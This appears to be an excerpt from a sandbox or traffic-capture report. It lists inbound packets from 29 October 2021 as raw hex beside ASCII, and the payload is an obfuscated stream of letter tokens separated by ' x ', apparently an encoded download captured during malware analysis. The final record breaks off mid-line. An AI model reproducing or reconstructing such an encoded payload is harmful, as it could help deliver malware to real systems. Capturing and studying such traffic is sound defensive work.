2021-10-29 18:11:00 UTC	2710	IN	Data Raw: 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 51 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 6f 20 78 20 59 4b 20 78 20 4f 4f 52 20 78 20 6b 45 20 78 20 4f 4f 78 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 6f 4f 20 78 20 4f 78 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 4f 74 20 78 20 51 51 20 78 20 4b 74 20 78 20 59 52 20 78 20 59 4b 20 78 20 4f 78 45 20 78 20 4f 78 59 20 78 20 4b 51 20 78 20 6b 6f 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: Q x RY x RY x tE x RQ x RY x Kt x Yt x OoO x Yo x YK x OOR x kE x OOx x Kt x YR x OoO x OxO x Kt x YR x OOt x QQ x Kt x YR x YK x OxE x OxY x KQ x ko x tk x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-10-29 18:11:00 UTC	2714	IN	Data Raw: 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 59 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 74 20 78 20 52 59 20 78 20 59 59 20 78 20 51 51 20 78 20 6b 45 20 78 20 74 4b 20 78 20 59 6f 20 78 20 4f 78 51 20 78 20 4f 4f 4f 20 78 20 59 45 20 78 20 59 6f 20 78 20 4f 78 Data Ascii: O x RY x RY x RY x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x YY x tO x kY x OxE x OxE x tE x Rt x RY x YY x QQ x kE x tK x Yo x OxQ x OOO x YE x Yo x Ox
2021-10-29 18:11:00 UTC	2718	IN	Data Raw: 45 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 59 6f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 59 6f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 59 6f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 59 6f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 59 6f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 59 6f 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 51 78 20 78 20 4f 4f 45 20 78 20 4b 74 20 Data Ascii: E x kx x OxR x Yo x KE x kx x OxR x Yo x KE x kx x OxR x Yo x KE x kx x OxR x Yo x KE x kx x OxR x Yo x KE x kx x OxR x Yo x OOK x kk x tk x Ooo x OOk x kY x OOR x tR x OxE x kK x kO x Kk x RY x RY x RY x RY x RY x RY x RY x RY x OOk x kQ x Qx x OOE x Kt
2021-10-29 18:11:00 UTC	2722	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 6f 20 78 20 74 4b 20 78 20 59 74 20 78 20 4b 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 78 20 78 20 51 6b 20 78 20 51 74 20 78 20 4f 78 51 20 78 20 4f 6f 4f 20 78 20 4f 4f 6f 20 78 20 51 78 20 78 20 59 4f 20 78 20 4f 6f 78 20 78 20 6b 51 20 78 20 4f 78 6b 20 78 20 4f 4f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 6f 20 78 20 4f 78 78 20 78 20 59 6f 20 78 20 59 78 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 78 78 20 78 20 59 59 20 78 20 59 74 20 78 20 74 4f 20 78 20 59 52 20 78 20 59 59 20 78 20 59 4b 20 78 20 4f 4f 45 20 78 20 4f 78 78 20 78 20 59 59 20 78 20 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x Yo x tK x Yt x Kk x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Yx x Qk x Qt x OxQ x OoO x OOo x Qx x YO x Oox x kQ x Oxk x OOo x Ooo x OOo x Oxx x Yo x Yx x Qk x tO x Oxx x YY x Yt x tO x YR x YY x YK x OOE x Oxx x YY x
2021-10-29 18:11:00 UTC	2726	IN	Data Raw: 45 20 78 20 52 51 20 78 20 59 4b 20 78 20 4f 4f 6b 20 78 20 74 45 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: E x RQ x YK x OOk x tE x RR x Oxk x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 18:11:00 UTC	2730	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 74 20 78 20 74 74 20 78 20 4f 6f 4f 20 78 20 4f 4f 52 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Yt x tt x OoO x OOR x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo
2021-10-29 18:11:00 UTC	2735	IN	Data Raw: 20 78 20 6b 59 20 78 20 6b 59 20 78 20 59 45 20 78 20 52 74 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 74 74 20 78 20 74 51 20 78 20 4f 78 45 20 78 20 51 51 20 78 20 6b 4b 20 78 20 6b 4b 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 74 6f 20 78 20 52 51 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 59 4b 20 78 20 52 52 20 78 20 4f 6f 78 20 78 20 74 6b 20 78 20 74 74 20 78 20 74 51 20 78 20 4f 78 45 20 78 20 51 51 20 78 20 6b 4b 20 78 20 6b 4b 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 74 6f 20 78 20 52 51 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 59 4b 20 78 20 52 52 20 78 20 4f 6f 78 20 78 20 74 6b 20 78 20 74 74 20 78 20 74 51 20 78 20 4f 78 45 20 78 20 51 51 20 78 20 6b 4b 20 78 20 6b 4b 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 74 6f 20 78 20 52 51 20 78 20 4b Data Ascii: x kY x kY x YE x Rt x Oox x tx x tt x tQ x OxE x QQ x kK x kK x Rk x OOO x to x RQ x Kk x OOQ x YK x RR x Oox x tk x tt x tQ x OxE x QQ x kK x kK x Rk x OOO x to x RQ x Kk x OOQ x YK x RR x Oox x tk x tt x tQ x OxE x QQ x kK x kK x Rk x OOO x to x RQ x K
2021-10-29 18:11:00 UTC	2739	IN	Data Raw: 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 52 6b 20 78 20 4f 6f 78 20 78 20 74 74 20 78 20 52 6b 20 78 20 4b 45 20 78 20 4f 78 52 20 78 20 4f 4f 6f 20 78 20 74 4f 20 78 20 6b 6f 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4f 20 78 20 4f 78 4b 20 78 20 4f 4f 45 20 78 20 4f 78 78 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4b 20 78 20 4f 78 52 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 59 59 20 78 20 59 78 20 78 20 59 52 20 78 20 4f 78 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 6b 52 20 78 20 59 4f 20 78 Data Ascii: kO x kO x RY x tK x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x Rk x Rk x Oox x tt x Rk x KE x OxR x OOo x tO x ko x Kt x YK x tO x OxK x OOE x Oxx x tE x RY x RY x RY x RY x kK x OxR x to x RY x RY x OOR x YY x Yx x YR x OxE x OOk x Kt x kR x YO x
2021-10-29 18:11:00 UTC	2743	IN	Data Raw: 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 52 20 78 20 4f 6f 78 20 78 20 4f 78 78 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 78 20 78 20 74 52 20 78 20 4b 51 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 59 59 20 78 20 6b 45 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 4f 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 52 74 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 4b 45 20 78 20 4f 78 78 20 78 20 4b 51 20 78 20 6b 6b 20 78 20 4b 74 20 78 20 4f 78 51 20 78 20 4b 51 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 4b 74 20 78 Data Ascii: Kt x Kt x Kt x Kt x Kt x Kt x KE x YR x Oox x Oxx x kK x Kt x YR x kx x tR x KQ x Kt x Kt x Kt x Kt x Kt x Kt x Kt x kR x YO x OOk x Rk x Kt x OOk x YY x kE x RY x Kt x YO x OOo x OxQ x Rt x OOk x Yt x KE x Oxx x KQ x kk x Kt x OxQ x KQ x Yt x OoO x Kt x
2021-10-29 18:11:00 UTC	2747	IN	Data Raw: 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 4f 78 20 78 20 4f 4f 45 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 45 20 78 20 59 4b 20 78 20 4f 4f 78 20 78 20 4f 4f 59 20 78 20 6b 78 20 78 20 4b 45 20 78 20 4f 78 4f 20 78 20 4f 4f 6f 20 78 20 59 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 4f 78 20 78 20 4f 4f 45 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 45 20 78 20 59 4b 20 78 20 4f 4f 78 20 78 20 4f 4f 59 20 78 20 6b 78 20 78 20 4b 45 20 78 20 4f 78 4f 20 78 20 4f 4f 6f 20 78 20 59 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 4f 78 20 78 20 4f 4f 45 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 45 20 78 20 59 4b 20 78 20 4f 4f 78 20 78 20 4f 4f 59 20 78 20 6b 78 20 78 20 4b 45 20 78 20 4f 78 4f 20 78 20 Data Ascii: x Rk x Kt x OOx x OOE x OxO x OOQ x Kt x YE x YK x OOx x OOY x kx x KE x OxO x OOo x YY x Rk x Kt x OOx x OOE x OxO x OOQ x Kt x YE x YK x OOx x OOY x kx x KE x OxO x OOo x YY x Rk x Kt x OOx x OOE x OxO x OOQ x Kt x YE x YK x OOx x OOY x kx x KE x OxO x
2021-10-29 18:11:00 UTC	2750	IN	Data Raw: 78 20 74 59 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 74 20 78 20 6b 52 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 74 6f 20 78 20 4b 6b 20 78 20 6b 78 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 6b 78 20 78 20 4f 4f 45 20 78 20 4b 6b 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 59 59 20 78 20 74 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 74 6b 20 78 20 4b 74 20 78 20 74 52 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 78 20 78 20 6b 4b 20 78 20 4f 6f 4f 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 52 6b 20 78 20 4f 6f 78 20 78 20 51 51 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4f 4f 74 20 78 20 4f 4f 4b 20 78 20 4f 4f 74 20 78 20 4b 45 20 78 20 4b 74 20 78 20 59 74 20 78 20 Data Ascii: x tY x kQ x RY x kx x Yt x kR x kO x OOQ x to x Kk x kx x kK x OxE x tO x Oxk x OOk x kx x OOE x Kk x Oxo x Kt x OOK x YY x tt x Kt x Kt x Yo x tk x Kt x tR x Kt x Yt x kx x kK x OoO x OOk x Kt x Rk x Oox x QQ x to x Kt x OOt x OOK x OOt x KE x Kt x Yt x
2021-10-29 18:11:00 UTC	2754	IN	Data Raw: 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 Data Ascii: Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x
2021-10-29 18:11:00 UTC	2758	IN	Data Raw: 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 51 78 20 78 20 4f 4f 74 20 78 20 74 74 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 78 20 78 20 51 6b 20 78 20 4f 78 52 20 78 20 52 52 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 59 6f 20 78 20 4f 4f 51 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 51 78 20 78 20 4f 4f 74 20 78 20 74 74 20 78 20 74 52 20 78 20 4b 74 20 78 20 59 78 20 78 20 51 6b 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 59 6f 20 78 20 4f 4f 51 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 51 78 20 78 20 4f 4f 74 20 78 20 74 74 20 78 20 74 6f 20 78 20 4b 74 20 78 20 59 78 20 78 20 51 6b 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 59 78 20 78 20 4f 4f 51 Data Ascii: x Oxo x Kt x Qx x OOt x tt x Rk x Kt x Yx x Qk x OxR x RR x Kt x Yt x OxQ x Yo x OOQ x Oxo x Kt x Qx x OOt x tt x tR x Kt x Yx x Qk x OxR x Rt x Kt x Yt x OxQ x Yo x OOQ x OOk x Kt x Qx x OOt x tt x to x Kt x Yx x Qk x OxR x RY x Kt x Yt x OxQ x Yx x OOQ
2021-10-29 18:11:00 UTC	2762	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 59 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: RY x RY x RY x Rk x YR x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 18:11:00 UTC	2767	IN	Data Raw: 20 6b 78 20 78 20 4b 74 20 78 20 4f 78 51 20 78 20 59 4b 20 78 20 4f 4f 74 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 59 6f 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 59 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 4f 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 4b 74 20 78 20 74 4f 20 78 20 4f 6f 6f 20 78 20 59 74 20 78 20 59 59 20 78 20 4b 74 20 78 20 4f 4f 74 20 78 20 51 51 20 78 20 74 52 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 59 20 78 20 4f 4f 78 20 78 20 52 74 20 78 20 4b 6b 20 78 20 6b 78 20 78 20 4b 45 20 78 20 59 45 20 78 20 4f 4f 51 20 78 20 4f 4f 52 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 4f 74 20 78 20 51 51 20 78 20 74 52 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 59 20 78 20 4f 4f 78 20 78 20 52 74 20 78 20 4b 6b 20 78 20 6b 78 Data Ascii: kx x Kt x OxQ x YK x OOt x OxR x Kt x Yo x tk x OoO x YK x Kt x YR x tO x Yt x OxR x Kt x Kt x tO x Ooo x Yt x YY x Kt x OOt x QQ x tR x kO x Kt x YY x OOx x Rt x Kk x kx x KE x YE x OOQ x OOR x Rk x Kt x OOt x QQ x tR x kO x Kt x YY x OOx x Rt x Kk x kx
2021-10-29 18:11:00 UTC	2771	IN	Data Raw: 74 59 20 78 20 4f 6f 78 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 4f 59 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4b 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 6f 78 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 4f 59 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4b 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 6f 78 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 4f 59 20 78 20 6b 4f 20 78 20 6b 45 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: tY x Oox x RR x RY x RY x Rt x OOY x kO x kO x RY x RY x OOK x RQ x RQ x RY x RY x tY x Oox x RR x RY x RY x Rt x OOY x kO x kO x RY x RY x OOK x RQ x RQ x RY x RY x tY x Oox x RR x RY x RY x Rt x OOY x kO x kE x OxE x RY x RY x RY x RY x kO x RY x RY x R
2021-10-29 18:11:00 UTC	2775	IN	Data Raw: 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 78 20 78 20 4f 4f 78 20 78 20 52 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 Data Ascii: O x RY x tO x OOQ x RY x tY x OOQ x RR x RR x RY x RY x RY x RY x OxE x RY x RR x kx x OOx x RQ x kO x RY x Qx x kO x RR x Ooo x RY x tO x kY x RY x Qk x RY x RR x Oxk x RY x tO x tt x RY x Oxx x RY x RY x OxE x RY x RQ x RQ x RY x Qk x RY x RR x OOY x RY
2021-10-29 18:11:00 UTC	2779	IN	Data Raw: 78 20 78 20 74 74 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f Data Ascii: x x tt x RY x Qx x kO x RR x OOY x RY x tO x kY x RY x kQ x OOQ x RR x Kk x RY x tO x kY x RY x Qx x RY x RY x OxE x RY x RQ x Oxt x RY x Oxx x RY x RR x Oxk x RY x tO x Kk x RY x QQ x OOQ x RY x tK x RY x RQ x tt x RY x Oxx x RY x RR x OoO x RY x tO x OO
2021-10-29 18:11:00 UTC	2782	IN	Data Raw: 20 74 45 20 78 20 52 59 20 78 20 52 51 20 78 20 4b 6b 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 78 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: tE x RY x RQ x Kk x RY x kY x OOQ x RY x OxE x RY x tx x tt x RY x kQ x kO x RR x OOt x RY x to x tt x RY x tE x RY x RR x kK x RY x tO x kY x RY x QQ x OxE x RR x OOo x RY x tO x kQ x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x kR x RY x RY x RY x
2021-10-29 18:11:00 UTC	2786	IN	Data Raw: 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 Data Ascii: Y x to x 